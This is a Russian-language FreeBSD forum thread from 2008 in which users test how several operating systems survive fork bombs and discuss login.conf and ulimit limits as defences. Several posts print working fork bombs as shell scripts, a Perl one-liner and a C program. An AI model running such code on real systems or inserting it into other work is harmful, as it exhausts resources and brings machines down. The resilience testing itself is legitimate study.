Fork Bomb

Разговоры ни о чём

Модератор: vadim64

Аватара пользователя
Neus
капитан
Сообщения: 1776
Зарегистрирован: 2008-09-08 21:59:56

Fork Bomb

Непрочитанное сообщение Neus » 2008-09-09 22:05:52

Извиняйте... видел здесь про это, но таки не нашёл где.
Провёл эксперимент:
1. Фря 7.0 - при первом запуске успешно выживает (просто убив эти процессы); при последующих - одно из двух, либо в авторебут уходит, либо... нардресет
2. опенсусе - валицо сразу :smile:
3. QNX - аналогично сусе (вот чего не ожидал от микроядреной оси...)
4. ВыньЭксПи - тута вот самое интересное... при первом запуске в тасклисте постоянно висит примерно 200 процессов cmd.exe (что ничуть не мешает работе), но! после их убивания и повторного запуска скрипта, кол-во процессов зашкаливает за >>1000... что тут же завешивает ось (но! не намертво... можно изловчица и убить процессы, это как повезет (мне везло не очень :))
---
пс
ну нефиг делать было на работе... :cf:
«Вы никогда не сумеете решить возникшую проблему,
если сохраните то же мышление и тот же подход,
который привёл вас к этой проблеме.»
© Альберт Эйнштейн

Хостинговая компания Host-Food.ru
Хостинг HostFood.ru
 

Услуги хостинговой компании Host-Food.ru

Хостинг HostFood.ru

Тарифы на хостинг в России, от 12 рублей: https://www.host-food.ru/tariffs/hosting/
Тарифы на виртуальные сервера (VPS/VDS/KVM) в РФ, от 189 руб.: https://www.host-food.ru/tariffs/virtualny-server-vps/
Выделенные сервера, Россия, Москва, от 2000 рублей (HP Proliant G5, Intel Xeon E5430 (2.66GHz, Quad-Core, 12Mb), 8Gb RAM, 2x300Gb SAS HDD, P400i, 512Mb, BBU):
https://www.host-food.ru/tariffs/vydelennyi-server-ds/
Недорогие домены в популярных зонах: https://www.host-food.ru/domains/

Аватара пользователя
zingel
beastie
Сообщения: 6204
Зарегистрирован: 2007-10-30 3:56:49
Откуда: Moscow
Контактная информация:

Re: Fork Bomb

Непрочитанное сообщение zingel » 2008-09-09 22:10:41

в чем вопрос? как сделать ?
Z301171463546 - можно пожертвовать мне денег

Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35172
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Re: Fork Bomb

Непрочитанное сообщение Alex Keda » 2008-09-09 23:19:01

Код: Выделить всё

acer$ cd /tmp/
acer$ echo '$0 &' > fork.sh
acer$ echo '$0 &' >> fork.sh
acer$ chmod +x fork.sh
acer$ ./fork.sh
настоятельно рекомендую иметь сразу вторую консоль с залогиненым рутом.
запускать лучше от юзера.
Убей их всех! Бог потом рассортирует...

Аватара пользователя
zingel
beastie
Сообщения: 6204
Зарегистрирован: 2007-10-30 3:56:49
Откуда: Moscow
Контактная информация:

Re: Fork Bomb

Непрочитанное сообщение zingel » 2008-09-09 23:30:19

Код: Выделить всё

perl -e "fork while fork"
Z301171463546 - можно пожертвовать мне денег

Гость
проходил мимо

Re: Fork Bomb

Непрочитанное сообщение Гость » 2008-09-10 17:30:26

Neus писал(а):нардресет
обычно от этого помогает watchdog

Аватара пользователя
Neus
капитан
Сообщения: 1776
Зарегистрирован: 2008-09-08 21:59:56

Re: Fork Bomb

Непрочитанное сообщение Neus » 2008-09-10 21:32:15

Гость писал(а):обычно от этого помогает watchdog
если запускать это от обычного юзера:

Код: Выделить всё

#!/bin/sh
$0 &
$0 &
система уходит в ребут сама, проверял раз много :)
если от root - как ей взбредет (авторебут/нардресет)
---
а если вот так:

Код: Выделить всё

#!/bin/sh
$0 | $0 &
это наверно уже fork-pipe bomb ;-)
первый запуск (от юзера) - процессы сами убиваюца (хз почему), второй - как ей взбредет (авторебут/нардресет)
если от root - RIP
«Вы никогда не сумеете решить возникшую проблему,
если сохраните то же мышление и тот же подход,
который привёл вас к этой проблеме.»
© Альберт Эйнштейн

Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35172
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Re: Fork Bomb

Непрочитанное сообщение Alex Keda » 2008-09-10 21:53:31

у меня не умерла сама.
и не умирала никогда.
Убей их всех! Бог потом рассортирует...

Аватара пользователя
Neus
капитан
Сообщения: 1776
Зарегистрирован: 2008-09-08 21:59:56

Re: Fork Bomb

Непрочитанное сообщение Neus » 2008-09-10 22:19:03

lissyara писал(а):у меня не умерла сама.
и не умирала никогда.
я в том смысле что висело мертво
«Вы никогда не сумеете решить возникшую проблему,
если сохраните то же мышление и тот же подход,
который привёл вас к этой проблеме.»
© Альберт Эйнштейн

Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35172
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Re: Fork Bomb

Непрочитанное сообщение Alex Keda » 2008-09-10 22:22:57

не висело.
правда на завершение работы у меня ушло минут 10
5 минут уйти в консоль, ещё стока же комп работу завершал.
Убей их всех! Бог потом рассортирует...

Аватара пользователя
Neus
капитан
Сообщения: 1776
Зарегистрирован: 2008-09-08 21:59:56

Re: Fork Bomb

Непрочитанное сообщение Neus » 2008-09-10 22:28:20

ну хз...
у меня ни консоль не реагировала ни по сети никак...
«Вы никогда не сумеете решить возникшую проблему,
если сохраните то же мышление и тот же подход,
который привёл вас к этой проблеме.»
© Альберт Эйнштейн

Аватара пользователя
zingel
beastie
Сообщения: 6204
Зарегистрирован: 2007-10-30 3:56:49
Откуда: Moscow
Контактная информация:

Re: Fork Bomb

Непрочитанное сообщение zingel » 2008-09-11 5:36:59

Код: Выделить всё

login.conf + hard ulimit
спасают от всяких форковых неадекватностей
Z301171463546 - можно пожертвовать мне денег

Аватара пользователя
Neus
капитан
Сообщения: 1776
Зарегистрирован: 2008-09-08 21:59:56

Re: Fork Bomb

Непрочитанное сообщение Neus » 2008-10-01 13:29:53

А вот DragonFly мне так и не удалось завалить...
несколько раз запускал под разными юзерами, и по-очереди и враз
причом в иксах еще и файрфокс умудрялся запустица...
---
интересно чего такого там в ядре накрутили...

Аватара пользователя
zingel
beastie
Сообщения: 6204
Зарегистрирован: 2007-10-30 3:56:49
Откуда: Moscow
Контактная информация:

Re: Fork Bomb

Непрочитанное сообщение zingel » 2008-10-01 13:32:49

Вот это попробуй

Код: Выделить всё

#include <stdio.h>

main ()

{

while(1) 

{

malloc(10000); 

fork();

}

}
Z301171463546 - можно пожертвовать мне денег

Аватара пользователя
ProFTP
подполковник
Сообщения: 3388
Зарегистрирован: 2008-04-13 1:50:04
Откуда: %&й
Контактная информация:

Re: Fork Bomb

Непрочитанное сообщение ProFTP » 2008-10-01 14:43:43

на openbsd если шел, то от это не сработает, если баш - то сработает

а login.conf натсроен, там ограничить можно ресурсы, чтобы не схъло всё :evil:
Pеrl FAQ
perl -e 'print join"",map $$_[rand@$_],([0..9,'a'..'z','A'..'Z'])x30'
ИзображениеИзображение

Аватара пользователя
Neus
капитан
Сообщения: 1776
Зарегистрирован: 2008-09-08 21:59:56

Re: Fork Bomb

Непрочитанное сообщение Neus » 2008-10-01 21:59:18

ограничить мона все, еси есть возможность
я от делать нефик, тестю из "коробки"/"дистра" установленые системы, т.е. по дефолту
вот и делюсь впечатлениями - винда, пока рулит, в том смысле, можно открыть диспечер задач и поснимать все ненужное
предложеное зингером:

Код: Выделить всё

#include <stdio.h>
main ()
{
while(1)
{
malloc(10000);
fork();
}
}
в винде низнаю чем скомпилить такое, ибо нету компилеров с СИ вапще на машине
в "стрекозе" - запустил на ночь, приду утром пасматрю - убилось или нет
скрипты вида:

Код: Выделить всё

$0 | $0 &

или

$0 &
$0 &
нифига не катят на драгон-фре
ибо все порождаемое ими в конце концов убиваецо...
в обычной фрюхе, как уже писал - первый запуск приводит к убиванию процесов через некоторое время, второй - к панике ядра и ребуту, либо к мертвому зависону
«Вы никогда не сумеете решить возникшую проблему,
если сохраните то же мышление и тот же подход,
который привёл вас к этой проблеме.»
© Альберт Эйнштейн

Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35172
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Re: Fork Bomb

Непрочитанное сообщение Alex Keda » 2008-10-01 23:41:05

дайте логин.конф из драгон флая...
есть у меня подозрения о причинах живучести такой...
Убей их всех! Бог потом рассортирует...

Аватара пользователя
Neus
капитан
Сообщения: 1776
Зарегистрирован: 2008-09-08 21:59:56

Re: Fork Bomb

Непрочитанное сообщение Neus » 2008-10-02 7:10:14

в логин конф все анлимитед
прога на си его таки убила
но ооочень медленно...:)

Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35172
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Re: Fork Bomb

Непрочитанное сообщение Alex Keda » 2008-10-02 8:12:46

однако дайте =)
=======
кстати - мона и в ядре лимиты поставить...
Убей их всех! Бог потом рассортирует...

Аватара пользователя
Neus
капитан
Сообщения: 1776
Зарегистрирован: 2008-09-08 21:59:56

Re: Fork Bomb

Непрочитанное сообщение Neus » 2008-10-02 10:14:54

odnako nate :smile:

Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35172
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Re: Fork Bomb

Непрочитанное сообщение Alex Keda » 2008-10-02 10:23:43

фряшный.
значит ядро попилили
Убей их всех! Бог потом рассортирует...

Аватара пользователя
Neus
капитан
Сообщения: 1776
Зарегистрирован: 2008-09-08 21:59:56

Re: Fork Bomb

Непрочитанное сообщение Neus » 2008-10-02 10:43:02

ессно фряшный, она же из фри и сделана
ядро сииильно попилили, ага :)
---
вопчем окончательный "вердикт" по стрекозе - сишная прога с malloc и fork-ом запущеная от обычного юзера:
активных процессов - 1822
можно спокойно зайти в другую консоль и убить процессы
заходит без всяких тормозов, даже иксы спокойно запускаюца, можно в игрушку поиграться :)

Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35172
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Re: Fork Bomb

Непрочитанное сообщение Alex Keda » 2008-10-02 10:55:34

ну, тупо зашили ограничение на числоп роцессов в ядро.
это не плюс. это скрытые грабли на котоыре наступишь рано или поздно.
Убей их всех! Бог потом рассортирует...

Аватара пользователя
Neus
капитан
Сообщения: 1776
Зарегистрирован: 2008-09-08 21:59:56

Re: Fork Bomb

Непрочитанное сообщение Neus » 2008-10-02 11:56:56

нее, лисс
если под рутом запустить - то все, она будет долго и мучительно умирать :)
видимо не тупо зашили...
---
мне вот другое интересно
почему шелл-скрипты типа

Код: Выделить всё

#!/bin/sh
$0 &
$0 &

Код: Выделить всё

#!/bin/sh
$0 | $0 &
через некоторое время убиваются сами?!
«Вы никогда не сумеете решить возникшую проблему,
если сохраните то же мышление и тот же подход,
который привёл вас к этой проблеме.»
© Альберт Эйнштейн

Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35172
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Re: Fork Bomb

Непрочитанное сообщение Alex Keda » 2008-10-02 12:59:01

в ядро чего-то тупо зашили =)
Убей их всех! Бог потом рассортирует...

Аватара пользователя
zingel
beastie
Сообщения: 6204
Зарегистрирован: 2007-10-30 3:56:49
Откуда: Moscow
Контактная информация:

Re: Fork Bomb

Непрочитанное сообщение zingel » 2008-10-03 8:28:39

Код: Выделить всё

man 3 ulimit
Z301171463546 - можно пожертвовать мне денег